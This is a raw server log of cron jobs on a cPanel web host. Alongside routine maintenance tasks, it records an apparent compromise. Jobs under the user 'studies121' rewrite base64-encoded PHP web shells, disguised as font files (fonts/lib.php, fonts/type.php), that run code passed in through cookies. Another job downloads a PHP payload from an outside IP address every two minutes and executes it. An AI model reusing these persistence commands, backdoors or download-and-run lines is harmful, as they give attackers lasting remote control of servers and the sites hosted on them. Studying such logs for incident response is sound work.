Sep  9 06:00:01 ip-184-168-122-23 CROND[24445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:00:01 ip-184-168-122-23 CROND[24447]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 06:00:01 ip-184-168-122-23 CROND[24450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:00:01 ip-184-168-122-23 CROND[24453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:00:01 ip-184-168-122-23 CROND[24454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:00:01 ip-184-168-122-23 CROND[24452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:00:01 ip-184-168-122-23 CROND[24451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:00:01 ip-184-168-122-23 CROND[24455]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 06:00:01 ip-184-168-122-23 CROND[24449]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:00:01 ip-184-168-122-23 CROND[24446]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  9 06:01:01 ip-184-168-122-23 CROND[24610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:01:01 ip-184-168-122-23 CROND[24612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:01:01 ip-184-168-122-23 CROND[24614]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 06:01:01 ip-184-168-122-23 CROND[24615]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 06:01:01 ip-184-168-122-23 CROND[24613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:01:01 ip-184-168-122-23 CROND[24618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24615]: starting 0anacron
Sep  9 06:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24632]: finished 0anacron
Sep  9 06:02:01 ip-184-168-122-23 CROND[24809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:02:01 ip-184-168-122-23 CROND[24808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:02:01 ip-184-168-122-23 CROND[24810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:02:01 ip-184-168-122-23 CROND[24812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:02:01 ip-184-168-122-23 CROND[24811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:03:01 ip-184-168-122-23 CROND[24974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:03:01 ip-184-168-122-23 CROND[24976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:03:01 ip-184-168-122-23 CROND[24975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:03:01 ip-184-168-122-23 CROND[24977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:04:01 ip-184-168-122-23 CROND[25110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:04:01 ip-184-168-122-23 CROND[25112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:04:01 ip-184-168-122-23 CROND[25113]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:04:01 ip-184-168-122-23 CROND[25114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:04:01 ip-184-168-122-23 CROND[25115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:05:01 ip-184-168-122-23 CROND[25250]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 06:05:01 ip-184-168-122-23 CROND[25252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:05:01 ip-184-168-122-23 CROND[25254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:05:01 ip-184-168-122-23 CROND[25257]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:05:01 ip-184-168-122-23 CROND[25256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:05:01 ip-184-168-122-23 CROND[25255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:05:01 ip-184-168-122-23 CROND[25253]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:06:01 ip-184-168-122-23 CROND[25359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:06:01 ip-184-168-122-23 CROND[25361]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:06:02 ip-184-168-122-23 CROND[25364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:06:02 ip-184-168-122-23 CROND[25366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:06:02 ip-184-168-122-23 CROND[25367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:07:01 ip-184-168-122-23 CROND[25482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:07:01 ip-184-168-122-23 CROND[25483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:07:01 ip-184-168-122-23 CROND[25484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:07:01 ip-184-168-122-23 CROND[25488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:08:01 ip-184-168-122-23 CROND[25702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:08:01 ip-184-168-122-23 CROND[25704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:08:01 ip-184-168-122-23 CROND[25705]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:08:01 ip-184-168-122-23 CROND[25706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:08:01 ip-184-168-122-23 CROND[25707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:09:01 ip-184-168-122-23 CROND[25836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:09:01 ip-184-168-122-23 CROND[25838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:09:01 ip-184-168-122-23 CROND[25843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:09:01 ip-184-168-122-23 CROND[25842]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 06:09:01 ip-184-168-122-23 CROND[25844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:10:01 ip-184-168-122-23 CROND[25986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:10:01 ip-184-168-122-23 CROND[25991]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:10:01 ip-184-168-122-23 CROND[25990]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:10:01 ip-184-168-122-23 CROND[25993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:10:01 ip-184-168-122-23 CROND[25996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 06:10:01 ip-184-168-122-23 CROND[25997]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 06:10:01 ip-184-168-122-23 CROND[25995]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 06:10:01 ip-184-168-122-23 CROND[25994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:11:01 ip-184-168-122-23 CROND[26111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:11:01 ip-184-168-122-23 CROND[26114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 06:11:01 ip-184-168-122-23 CROND[26113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
